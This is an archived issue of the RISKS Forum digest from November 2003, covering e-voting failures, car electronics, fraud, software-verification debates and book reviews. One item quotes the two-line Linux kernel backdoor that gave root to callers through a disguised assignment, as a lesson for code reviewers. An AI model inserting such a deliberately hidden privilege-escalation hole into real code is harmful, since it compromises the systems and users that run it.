[risks] Risks Digest 23.02

From: RISKS List Owner (risko@private)
Date: Wed Nov 12 2003 - 10:29:30 PST

  • Next message: RISKS List Owner: "[risks] Risks Digest 23.03"

    RISKS-LIST: Risks-Forum Digest  Weds 12 November 2003  Volume 23 : Issue 02
    
       FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS (comp.risks)
       ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator
    
    ***** See last item for further information, disclaimers, caveats, etc. *****
    This issue is archived at http://www.risks.org as
      http://catless.ncl.ac.uk/Risks/23.02.html
    The current issue can be found at
      http://www.csl.sri.com/users/risko/risks.txt
    
      Contents:
    Eurofighter Typhoon brake fault (Peter B. Ladkin)
    Computers in cars: "When you add complexity you add risks" (NewsScan)
    Mail-order price-listing typo cost company over $2 million (Chiaki Ishikawa)
    New election to be held due to technical glitch (Kim Alexander)
    Vanishing votes; wireless security experts (Rebecca Mercuri)
    Fairfax County electronic voting: the saga continues (Jeremy Epstein)
    Thwarted Linux backdoor (Douglas W. Jones)
    Talk of wiretaps rattles Hollywood (Bernard Weinraub via Monty Solomon)
    Update: Fun with stolen credit-card numbers (Jonathan Kamens)
    Re: SPARK Ada in "High Integrity Software" (Peter B. Ladkin)
    Re: goto in Slade's review of "High Integrity Software" (Martin Cohen, 
      Andrew Dalke)
    Marcus Ranum: The Myth of Homeland Security (PGN)
    REVIEW: "The GSEC Prep Guide", Mike Chapple (Rob Slade)
    Abridged info on RISKS (comp.risks)
    
    ----------------------------------------------------------------------
    
    Date: Wed, 12 Nov 2003 10:08:58 +0100
    From: "Peter B. Ladkin" <ladkin@private-bielefeld.de>
    Subject: Eurofighter Typhoon brake fault
    
    *Flight International* reported a braking problem occurring on a Eurofighter
    Typhoon aircraft on 9 Oct 2003 that led to the suspension of all flights
    (*Flight International*, 21-27 October 2003, p4, article by Julian Moxon). A
    cockpit warning light came on during landing, the pilot deployed the braking
    parachute, but the brakes could be used to bring the aircraft to a halt.
    
    The furlough lasted three weeks, and the aircraft were to return to flight
    operations last week. Apparently 15 days have been lost from the flight test
    program. The braking problem centered on a faulty microchip in the landing
    gear computer (*Flight International*, 4-10 Nov 2003, p6).
    
    Peter B. Ladkin, University of Bielefeld, Germany
    http://www.rvs.uni-bielefeld.de
    
    ------------------------------
    
    Date: Wed, 12 Nov 2003 07:35:15 -0700
    From: "NewsScan" <newsscan@private>
    Subject: Computers in cars: "When you add complexity you add risks"
    
    The computer systems in today's luxury cars are wonderful when they work
    right, but not so wonderful when something goes wrong. Donald Buffamanti of
    AutoSpies.com (self-described as "the ultimate insider guide to the world's
    best automobiles") says of one automaker's cars: "People have reported total
    electronic shutdowns to us attributed to the network in the 7-series." One
    luxury car owner, whose onboard computer gave monitoring information that
    sent him off to the service station every few days to check his tire
    pressure, complains: "Why does it have a computer that reads the problems if
    they can't fix them?" Responding to complaints such as these, a BMW
    executive says: "There is a not-uncommon shakedown period of one to two
    years with technology this new," and a Honda executive admits: "When you're
    adding complexity, you are adding risks." The BMW exec adds: "The good news
    is that if it's working right after four years, it will continue to work for
    a long time after that. Electronics have a much longer life than mechanical
    parts."  [*USA Today*, 11 Nov 2003; NewsScan Daily, 12 Nov 2003]
      http://www.usatoday.com/tech/news/2003-11-11-carrepairs_x.htm
    
      [See RISKS-22.02,03,73,74 for other recent items on the 7-Series.  
      Interesting statement that if it works for four years, it will continue
      to do so; RISKS readers are familiar with various reasons why this might
      not be true.  PGN]
    
    ------------------------------
    
    Date: Tue, 11 Nov 2003 09:08:21 +0900
    From: Chiaki Ishikawa <ishikawa@private>
    Subject: Mail-order price-listing typo cost company over $2 million
    
    It is widely reported in the Japanese press that a mail order web page's
    typo cost a company more than two million dollars.
    
    One "0" was missing from the price of a PC sold by Marubeni, a large trading
    company's mail order web site.  Before the error was caught, about one
    thousand people ordered 15 hundred units.  (The real price was 198, 000
    Japanese Yen. It was listed initially as 19, 800 Yen.)
    
    After the error was spotted, and trying to cancel the selling contract with
    many customers had strong resistance from the said buyers and failed, the
    company decided to bite the bullet and announced that it would sell the PC
    at the incorrect list price to the customers who ordered the PC in order to
    "keep its trust among the customers" or whatever.
    
    I read that a lawyer offered a comment that in Japanese law a notion of
    "clear misunderstanding nullifying a contract" (not sure what the right
    English translation is.) exists, and so the contract to sell the goods
    (which was deemed as being established by the automatic response sent to the
    buyer afer the order at the web site was submitted) can be scrapped due to
    this principle in court.
    
    However, Marubeni obviously decided to honour the contract to protect its
    name.
    
    Another commented in a newspaper article that mail order companies should be
    aware of anomalies such as sudden surge of orders on one product to spot
    this kind of error.  (Intriguing problem. This is similar to input
    validation problem and no amount of "intelligence" would be enough to
    eliminate such errors, but a common sense check that puts a lower limit on
    the price of a category of product, say, of PC, printer, etc. could have
    caught this particular case.)
    
    ------------------------------
    
    Date: Tue, 11 Nov 2003 12:12:28 -0800
    From: Kim Alexander <kimalex@private>
    Subject: New election to be held due to technical glitch
    
    A revote will be held in Grant Parish, Louisiana after a candidate, Barney
    Durand contested the results after being told he lost the race for police
    jury.  He was running against an incumbent, Julius Scott, who was reported
    to have won the race by an 8-vote margin.  Turns out one of the election
    technicians had doubled either some or all of the absentee count (it's not
    clear which is the case), adding an additional 20 votes, five for Durand and
    15 for Scott.
    
    The new count showed Durand won the election by only a few votes.  I phoned
    Mr. Durand last week.  He told me that the Secretary of State agreed he had
    won the election, but the losing candidate filed a lawsuit that resulted in
    a judge ordering the revote to take place.
    
      http://www.nola.com/newsflash/louisiana/index.ssf
      ?/base/news-5/1066890841145171.xml
    
    ------------------------------
    
    Date: Sat, 08 Nov 2003 14:47:38 -0500
    From: "Rebecca Mercuri" <notable@private>
    Subject: Vanishing votes; wireless security experts (Re: Epstein, RISKS-23.01)
    
    As a follow-up to Jeremy Epstein's posting in RISKS-23.01, it seems that the
    WinVote machines also had the mysterious capability of subtracting around
    one in every hundred votes for a particular Republican candidate.  This was
    confirmed by post-election testing (when county officials examined one of
    the machines after complaints were filed by voters in three different
    precincts).  The Washington Post reported Thursday that for School Board
    candidate Rita S. Thompson "the machines initially displayed an "x" next to
    her name but then, after a few seconds, the "x" disappeared."  The fact that
    these votes may not have been recorded on the (so-called) audit trail
    created internally on the machines underscores the need for voter verified
    paper ballots in electronic voting systems.
    
    I would like to bring readers' attention to the fact that the current IEEE
    voting system draft allows for wireless (and other transmission) technology
    to be used with precinct electronic balloting systems.  We need some
    individuals with the ability to provide a detailed explanation of security
    issues with wireless to assist with the current debate on this subject.
    Anyone who has technical expertise in this area should contact me
    immediately at: mercuri@private
    
    ------------------------------
    
    Date: Tue, 11 Nov 2003 09:59:33 -0800
    From: Jeremy Epstein <jeremy.epstein@private>
    Subject: Fairfax County electronic voting: the saga continues
    
    As I reported in RISKS-23.01, the Fairfax County (Virginia) election last
    week, which used new electronic WinVote systems, was marred by problems.  It
    seems that some of them are more serious than I noted previously.
    
    *The Washington Post* reports that in one local race, "Voters in three
    precincts reported that when they attempted to vote for [a local candidate],
    the machines initially displayed an 'x' next to her name but then, after a
    few seconds, the 'x' disappeared."  The "county officials tested one of the
    machines in question yesterday and discovered that it seemed to subtract a
    vote for [the candidate] in about 'one out of a hundred tries,' said
    Margaret K. Luca, secretary of the county Board of Elections."
    [Incidentally, this is the same county official who told me in writing that
    the "Electoral Board is taking every step to ensure a secure and successful
    election...".]
    
    If we assume that the one in a hundred number is accurate, the fact that the
    election was decided by a margin of about 1% should leave everyone a bit
    nervous.  The real problem is now that they're trying to "inspect" the
    voting logs to see what happened.  But as we all know, the voting logs,
    being electronic, may not represent anything at all.
    
    Last night I had a discussion with someone in a position of knowledge, who
    told me that this "1% vote" problem is of more concern to the county staff
    than the eight failed machines I referenced in RISKS-23.01.  In the case of
    those failed machines, the county staff is confident that they know what
    went wrong, and they understand what the vote totals should have been.  [Not
    that their confidence gives me much confidence!]  However, for the 1% vote
    problem, the county staff apparently don't know what caused the problem.
    And that makes them, and me, that much more nervous.
    
    As a co-worker called it, this is "electronic hanging chad".
    
    http://www.washingtonpost.com/wp-dyn/articles/A6291-2003Nov5.html
    
    ------------------------------
    
    Date: Tue, 11 Nov 2003 09:21:16 -0600
    From: "Douglas W. Jones" <jones@private>
    Subject: Thwarted Linux backdoor
    
    On 5 Nov 2003, an attempt to insert a very cleverly crafted backdoor into
    Linux was averted.  This is a really good example of the subtle kinds of
    hacks a source code examiner must be waiting to catch if we want genuinely
    secure voting systems under the current model of proprietary DRE systems
    with a closed-door source code examination.
    
    Someone broke into a server at kernel.kbits.net and inserted the following
    code into the Linux kernel:
    
            if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
                            retval = -EINVAL;
    
    This was done in the code sys_wait4().  Larry McVoy caught the fact that the
    change had been made, and was annoyed because it wasn't logged properly.
    Matthew Dharm asked "Out of curiosity, what were the changed lines."  Zwane
    Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if
    you hope to get root."
    
    So, an annoying violation of the software change logging requirements turned
    out to be an attempt to install a backdoor in Linux.  At least two very
    experienced programmers looked at it and saw just slightly odd code, before
    the serious nature of the threat was actually discovered.
    
    This particular attack, by the way, is ruled out by the current voting
    system standards, not because they require a comprehensive security
    analysis, but because of their C-centered coding rules.  Embedded assignment
    is forbidden.  Current source code checks are good at finding embedded
    assignments and flagging them (as long as the code is written in C).  No
    doubt, a hacker of the sophistication suggested by the attack illustrated
    above would strictly adhere to the coding guidelines in formulating their
    attack.
    
    For the complete story of this attack on Linux, including the actual E-mail
    exchange documenting the discovery of the attack, see:
    
        http://kerneltrap.org/node/view/1584
        Linux: Kernel "Back Door" Attempt
    
    This attack has only made the mainstream media in one place, so far:
    
        http://www.smh.com.au/articles/2003/11/07/1068013371170.html
        Bid to backdoor Linux kernel detected - smh.com.au
    
    This is a pity, because I think this story is really important.
    
    ------------------------------
    
    Date: Tue, 11 Nov 2003 04:12:35 -0500
    From: Monty Solomon <monty@private>
    Subject: Talk of wiretaps rattles Hollywood
    
    [Source: Bernard Weinraub, *The New York Times*, 11 Nov 2003; PGN-ed]
      http://www.nytimes.com/2003/11/11/business/media/11wire.html
    
      The case began with a dead fish and a rose in an aluminum pan, left on the
      hood of a car parked on a Los Angeles street.  Taped to the windshield of
      the car, which belonged to a reporter for the *Los Angeles Times*, was a
      piece of cardboard with a single word: "Stop."  The discovery in June 2002
      -- for which an ex-convict was later arrested -- unleashed a chain of
      events that has suddenly entwined many of the Hollywood elite and
      threatens to turn into the kind of scandal that the show business world
      has not faced in decades.  Managers, actors, businessmen and lawyers are
      being questioned, and in some cases subpoenaed, by the federal government
      in a widening grand jury investigation of suspected illegal wiretapping
      that has moved beyond Los Angeles to New York, according to entertainers,
      producers, lawyers and others involved in the inquiry.
    
    This involves Anthony Pellicano, a private investigator for numerous
    Hollywood celebrities.  An FBI raid netted many transcripts of taps.
    
    ------------------------------
    
    Date: Sun, 26 Oct 2003 21:29:57 -0500
    From: Jonathan Kamens <jik@private>
    Subject: Update: Fun with stolen credit-card numbers (RISKS-22.93)
    
    RISKS readers might appreciate the following update to my experience with
    the theft of my AmEx card number....
    
    Over a month after I canceled the stolen number and got a new one, two charges
    I did not make from America On-Line showed up on my statement.
    
    According to AOL, my number was used to open two AOL accounts, but by the
    time AOL tried to bill the number, I had canceled it.  AmEx's policy for
    this situation is not what you would expect, i.e., to reject a charge to a
    number canceled due to fraud, but rather TO TRANSMIT THE NEW NUMBER TO THE
    MERCHANT.  Yes, that's right, AmEx gave AOL my replacement card number, and
    AOL turned around and rebilled me using the new number.  According to AOL,
    other card issuers handle this situation more sanely, but AmEx is
    "notorious" about correcting card numbers for merchants when they shouldn't.
    
    AOL assured me that once a number has entered their system, users can't see
    it, so even after AmEx sent the new number to AOL, whoever opened the
    accounts would not have been able to use them to find out my new number.
    
    AmEx denied that they would ever transmit a replacement number to a
    merchant.  However, their denial is not credible, because:
    
    * AmEx confirmed that the charges from AOL were made using my new card number;
    
    * The AOL accounts were opened before my replacement number was issued, so
      it's impossible that they could have been opened using the replacement
      number; and
    
    * AOL told me exactly when they billed AmEx with the old number, when AmEx
      sent them the new one, and when they rebilled successfully using it.
    
    I told the AmEx rep. that since he and AOL were giving me different stories,
    I wanted him to call AOL and figure out the truth.  He said only the AmEx
    "fraud department" could do that, but he could hand the matter over to the
    fraud department only by initiating a fraud dispute and canceling my new
    number.  I refused to allow him to do this, because I did not believe my new
    number had been compromised, and I did not intend to waste more time
    changing all of my recurring transactions to a new number twice in two
    months.  He said there was no way I could speak to the fraud department
    directly.  I finally got him to give me a U.S. Mail address which I could
    use to write to them.
    
    Needless to say, I have written them a rather strongly worded letter
    demanding a credible explanation for how AOL got my new card number.  It'll
    have to be a very good explanation indeed to convince me not to take my
    business elsewhere.
    
    As if all this weren't bad enough, AOL gave me one more piece of very
    disconcerting information.  One of the AOL accounts was opened using my name,
    and the other was opened using MY FIVE-YEAR-OLD DAUGHTER'S NAME.  This elevates
    the situation from a simple stolen credit-card number to something potentially
    much more serious (and scary).  Therefore, I'll be spending tomorrow making
    phone calls to various law-enforcement agencies trying to find someone willing
    to initiate an investigation.  I am pessimistic about my chances of success.
    
    ------------------------------
    
    Date: Wed, 12 Nov 2003 10:40:24 +0100
    From: "Peter B. Ladkin" <ladkin@private-bielefeld.de>
    Subject: Re: SPARK Ada in "High Integrity Software" (Slade, RISKS-23.01)
    
    I should like to add a few comments to Rob Slade's generally positive review
    of John Barnes's book on SPARK Ada in RISKS-23.01.
    
    The main characteristics of the SPARK Ada language is that it is an
    unambiguous subset of Ada with a rigorous semantics. I understand that its
    developers felt that such characteristics were minimal necessary for
    guaranteeing the behavior of compiled code. "Unambiguous" means that all
    compilers compile source to object code which behaves exactly the same with
    respect to the program variables as other object code compiled from the same
    source, and it is necessary to achieve this that the semantics of the subset
    be precise.
    
    They also chose the subset to be as far as possible amenable to static
    analysis, partly through use of code annotation. The goal was, as I
    understand it, to ensure that the behavior of all programs written in the
    language would be completely predictable, not just in theory, but also in
    practice. SPARK Examiner is the static analysis tool which comes with SPARK
    Ada.
    
    Proponents of SPARK Ada argue that these properties are necessary in
    languages used for the development of critical systems, and I am inclined to
    accept such arguments.
    
    SPARK Ada has achieved measurable success in the development of avionics
    software by Lockheed Martin for their C130J new-generation Hercules
    transport aircraft, which has been bought by the UK military.  UK military
    procurement regulations make requirements on development methods which are
    likely most easily met through methods involving the use of programming
    languages with SPARK Ada's characteristics.  There is a collection of papers
    on SPARK Ada and its use at www.sparkada.com
    
    If one needs a language with the characteristics mentioned above -- and who
    doesn't, even for non-critical systems? -- then SPARK Ada is the most
    experienced game in town. (There are other tools, such as Perfect Developer
    from Escher Technologies, also a UK company, which claim identical or
    similar properties, are younger, therefore less tried, but likely also worth
    a look.)
    
    Barnes's book is *the* book on SPARK Ada.  It was first published
    in 1997 and Slade reviewed the recently-published Second Edition.
    
    I have no connection with Praxis Critical Systems, the provider of
    SPARK Ada, other than that of general admiration for their sterling work.
    
    Peter B. Ladkin, University of Bielefeld, Germany
    http://www.rvs.uni-bielefeld.de
    
    ------------------------------
    
    Date: Sun, 09 Nov 2003 11:19:37 -0800
    From: Martin Cohen <mjcohen@private>
    Subject: Re: goto in Slade's review of "High Integrity Software" (RISKS-23.01)
    
    In Rob Slade's review of "High Integrity Software" in RISKS-23.01, he 
    says that
    
      "SPARK forbids language structures such as the infamous GOTO statement of
      Fortran and BASIC (which cannot be formally verified)."
    
    To the contrary (as I learned back in the 1970's), the semantics of gotos
    and labels are quite simple: At any label, the conditions that hold there
    are the union of the conditions that hold at all the gotos that have the
    label as their destination together with the conditions that hold at the end
    of the statement preceding the label. The conditions that hold (textually)
    following a goto are null (i.e., nothing is true, since you can't get
    there).
    
    I remember when I first read this and thought "Of course!" It's the kind of
    thing that is obvious after seeing it, but not obvious to come up with it. I
    do not know who first thought of this, but I admire their clear thinking.
    
    ------------------------------
    
    Date: Sat, 8 Nov 2003 00:08:43 -0700
    From: "Andrew Dalke" <adalke@private>
    Subject: Re: goto in Slade's review of "High Integrity Software" (RISKS-23.01)
    
    A GOTO can be emulated with a loop and a set of if statements.
    Reaching back into my now rusty BASIC, the following
    
    10 PRINT "What is your name?",
    20 A$ = INPUT$()
    30 IF A$ = "END" THEN GOTO 60
    40 PRINT "Hello, ", A$
    50 GOTO 10
    60 PRINT "Okay, bye-bye!"
    70 END
    
    can be translated into inefficient (and untested) Python as
    
    line_number = 1
    while line_number < 100:
      if line_number == 10:
          print "What is your name?",
      elif line_number == 20:
          a = raw_input("")
      elif line_number == 30:
          if a == "END":
            line_number = 60
      elif line_number == 40:
          print "Hello,", a
      elif line_number == 50:
          line_number = 10
      elif line_number == 60:
          print "Okay, bye-bye!"
      elif line_number == 70:
          break
      else:
        line_number = line_number + 1
    
    Or does SPARK also forbid combining loops and if statements because there is
    no way to formally verify them?
    
    ------------------------------
    
    Date: Mon, 10 Nov 2003 12:32:50 PST
    From: "Peter G. Neumann" <neumann@private>
    Subject: Marcus Ranum: The Myth of Homeland Security
    
      Marcus Ranum
      The Myth of Homeland Security
      Wiley, 2004
      xviii+244
    
    This book could not be more timely or more relevant.  It is extraordinarily
    important for all RISKS readers, as it reinforces so many themes that we
    have discussed here, including the reality that many critical problems
    (especially low-tech threats) do not necessarily have technologically based
    solutions (especially high-tech fixes).  Common sense abounds, along with a
    lot of very practical insights.
    
    The front jacket flap tells it like it is:
    
      "Writing with anger, honesty, and true patriotism, Ranum reveals the truth
      about 'feel-good' security policies and boondoggle spending programs that
      mask the real threats and do nothing tangible to improve public safety."
    
    This book has huge platters of food for thought.  Intellectually, you won't
    go hungry reading it, and there is much on which to chew.  However, if the
    book leaves a bad taste in your mouth, it is not Marcus Ranum's fault.  He
    is simply and compellingly telling it like it is, and we all need to listen.
    
      [Despite the publication date of 2004, the book is out now.  PGN]
    
    ------------------------------
    
    Date: Mon, 10 Nov 2003 07:46:26 -0800
    From: Rob Slade <rslade@private>
    Subject: REVIEW: "The GSEC Prep Guide", Mike Chapple
    
    BKGSECPG.RVW   20030918
    
    "The GSEC Prep Guide", Mike Chapple, 2003, 0-7645-3932-9,
    U$60.00/C$90.99/UK#41.95
    %A   Mike Chapple
    %C   5353 Dundas Street West, 4th Floor, Etobicoke, ON   M9B 6H8
    %D   2003
    %G   0-7645-3932-9
    %I   John Wiley & Sons, Inc.
    %O   U$60.00/C$90.99/UK#41.95 416-236-4433 fax: 416-236-4448
    %O  http://www.amazon.com/exec/obidos/ASIN/0764539329/robsladesinterne
      http://www.amazon.co.uk/exec/obidos/ASIN/0764539329/robsladesinte-21
    %O   http://www.amazon.ca/exec/obidos/ASIN/0764539329/robsladesin03-20
    %P   448 p. + CD-ROM
    %T   "The GSEC Prep Guide: Mastering SANS GIAC Security Essentials"
    
    The SANS (System administrators, Audit, Network, Security) Institute
    GIAC (Global Information Assurance Certification) Security Essentials
    Certification (GSEC) is supposed to be the "core" program for the
    various GIAC courses and exams.
    
    Chapter one covers some basic, but random, security concepts and
    topics.  A list of sample questions, intended to help the
    student/candidate prepare for the GSEC exam, is given at the end of
    every chapter.  If these truly represent the level and type of
    questions on the exam then getting the GSEC is a snap: quick, which
    type of situation is worse, one that has low threat and low
    vulnerability or high threat and high vulnerability?  (On the other
    hand, you may have to know the party line: one question insists that
    you credit SANS with the concept of defence in depth, and there is a
    concept of "separation of privilege" that seems to be what everyone
    else refers to as separation of duties.)  Security policies are
    discussed in a verbose but almost "content-free" manner in chapter
    two.  Virtually nothing is said about the policy process and different
    functional types of policies.  Again, there is a demand for
    idiosyncratic jargon: high level policies are "program" policies,
    whereas detailed policies (mostly procedural, given the list
    discussed) are "issue-specific."  One term that might be worth
    adopting is "system-specific policy": those who deal with policies
    know that it is difficult to have exceptions documented.  Using this
    term for deviations, as SANS does, may reduce the resistance to noting
    the irregularities.  There are some basic ideas about risk assessment
    and management in chapter three, but most of the text reviews network
    scanning tools.  Chapter four contains network nomenclature, Cisco
    equipment filtering command arguments, and miscellaneous IP (Internet
    Protocol) protocols in varying depth.  There are a brief list of the
    titular "Incident Handling" factors contained in chapter five, as well
    as random legal terms.  The discussion of cryptography in chapter six
    is reasonable up to the point of symmetric block ciphers, but
    subsequent material has errors (keystream data should *not* repeat
    during the course of a message), confusing diagrams, and unhelpful
    mathematics.  There is no deliberation about the usage of public key
    cryptography, hashes, and digests until chapter seven, which, despite
    the title, has absolutely nothing to say about "Applications
    Security."  Chapter eight provides a simple overview of firewalls and
    intrusion detection systems (IDSs) but is not overly detailed: no
    distinction is made between application and circuit-level proxies, and
    some of the statements made are clearly incorrect for circuit devices. 
    There is a grab bag of malware, cryptanalysis, attack methods and more
    in chapter nine.  The content on operations security is limited to
    assorted aspects and tools of Windows and UNIX that might be related
    to secure processing, in chapters ten and eleven respectively. 
    Chapter twelve is a practice exam.  It's pretty easy.
    
    The GSEC is sometimes said to be adequate preparation for the CISSP
    (Certified Information Systems Security Professional) exam, but there
    are significant gaps in GSEC's coverage of the security topic. 
    Although risk assessment and policy are discussed, management issues
    and access controls get limited substance in GSEC.  Security
    architecture, applications security, physical security, and business
    continuity are all missing, while operations are restricted to Windows
    and UNIX.
    
    This book does provide some useful direction in regard to information
    systems security, but readers should be warned that the missing pieces
    will probably be very important at some point.
    
    copyright Robert M. Slade, 2003   BKGSECPG.RVW   20030918
    rslade@private      slade@private      rslade@private
    Computer Security Day, November 30  http://www.computersecurityday.com/
    victoria.tc.ca/techrev/mnbksc.htm sun.soci.niu.edu/~rslade/secgloss.htm
    
    ------------------------------
    
    Date: 30 May 2003 (LAST-MODIFIED)
    From: RISKS-request@private
    Subject: Abridged info on RISKS (comp.risks)
    
     The RISKS Forum is a MODERATED digest.  Its Usenet equivalent is comp.risks.
    => SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent)
     if possible and convenient for you.  Alternatively, via majordomo,
     send e-mail requests to <risks-request@private> with one-line body
       subscribe [OR unsubscribe]
     which requires your ANSWERing confirmation to majordomo@private .
     If Majordomo balks when you send your accept, please forward to risks.
     [If E-mail address differs from FROM:  subscribe "other-address <x@y>" ;
     this requires PGN's intervention -- but hinders spamming subscriptions, etc.]
     Lower-case only in address may get around a confirmation match glitch.
       INFO     [for unabridged version of RISKS information]
     There seems to be an occasional glitch in the confirmation process, in which
     case send mail to RISKS with a suitable SUBJECT and we'll do it manually.
       .UK users should contact <Lindsay.Marshall@private>.
    => SPAM challenge-responses will not be honored.  Instead, use an alternative 
     address from which you NEVER send mail!
    => The INFO file (submissions, default disclaimers, archive sites,
     copyright policy, PRIVACY digests, etc.) is also obtainable from
     http://www.CSL.sri.com/risksinfo.html  ftp://www.CSL.sri.com/pub/risks.info
     The full info file will appear now and then in future issues.  *** All
     contributors are assumed to have read the full info file for guidelines. ***
    => SUBMISSIONS: to risks@private with meaningful SUBJECT: line.
     *** NEW: Including the string "notsp" at the beginning or end of the subject
     *** line will be very helpful in separating real contributions from spam.
     *** This attention-string may change, so watch this space now and then.
    => ARCHIVES: http://www.sri.com/risks
     http://www.risks.org redirects you to the Lindsay Marshall's Newcastle archive
     http://catless.ncl.ac.uk/Risks/VL.IS.html      [i.e., VoLume, ISsue]
       Lindsay has also added to the Newcastle catless site a palmtop version 
       of the most recent RISKS issue and a WAP version that works for many but 
       not all telephones: http://catless.ncl.ac.uk/w/r
     http://the.wiretapped.net/security/info/textfiles/risks-digest/ .
     http://www.planetmirror.com/pub/risks/ ftp://ftp.planetmirror.com/pub/risks/
    ==> PGN's comprehensive historical Illustrative Risks summary of one liners:
        http://www.csl.sri.com/illustrative.html for browsing,
        http://www.csl.sri.com/illustrative.pdf or .ps for printing
    
    ------------------------------
    
    End of RISKS-FORUM Digest 23.02
    ************************
    



    This archive was generated by hypermail 2b30 : Wed Nov 12 2003 - 11:34:15 PST